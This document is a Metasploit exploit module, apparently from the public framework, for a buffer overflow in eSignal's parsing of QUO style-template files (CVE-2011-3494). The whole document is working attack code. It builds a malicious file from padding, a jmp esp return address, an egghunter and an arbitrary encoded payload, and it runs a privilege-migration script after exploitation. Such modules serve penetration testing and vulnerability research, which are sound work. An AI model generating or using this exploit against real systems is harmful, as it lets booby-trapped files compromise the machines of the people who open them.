eSignal and eSignal Pro File Parsing Buffer Overflow in QUO

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eSignal and eSignal Pro File Parsing Buffer Overflow in QUO',
      'Description'    => %q{
        The software is unable to handle the "<StyleTemplate>" files (even those
        original included in the program) like those with the registered
        extensions QUO, SUM and POR. Successful exploitation of this
        vulnerability may take up to several seconds due to the use of
        egghunter. Also, DEP bypass is unlikely due to the limited space for
        payload. This vulnerability affects versions 10.6.2425.1208 and earlier.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma',                          # Original discovery
          'TecR0c <tecr0c[at]tecninja.net>',         # msf
          'mr_me <steventhomasseeley[at]gmai.com>',  # msf
        ],
      'References'    =>
        [
          [ 'CVE', '2011-3494' ],
          [ 'OSVDB', '75456' ],
          [ 'BID', '49600' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
          [ 'EDB', '17837' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00"
        },

      'Targets'        =>
        [
          [
            'Win XP SP3 / Windows Vista / Windows 7',
            {
              'Ret'     =>  0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
              'Offset'  =>  54
            }
          ],
        ],
      'Privileged'	 => false,
      'DisclosureDate' => '2011-09-06',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
      ])

  end

  def exploit
    eggoptions =
    {
      :checksum => false,
      :eggtag => 'eggz'
    }

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    buffer =  rand_text_alpha(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << rand_text_alpha_upper(4)
    buffer << hunter
    buffer << rand_text_alpha_upper(1500)
    buffer << egg

    file = "<StyleTemplate>\r\n"
    file << "#{buffer}\r\n"
    file << "</StyleTemplate>\r\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)
  end
end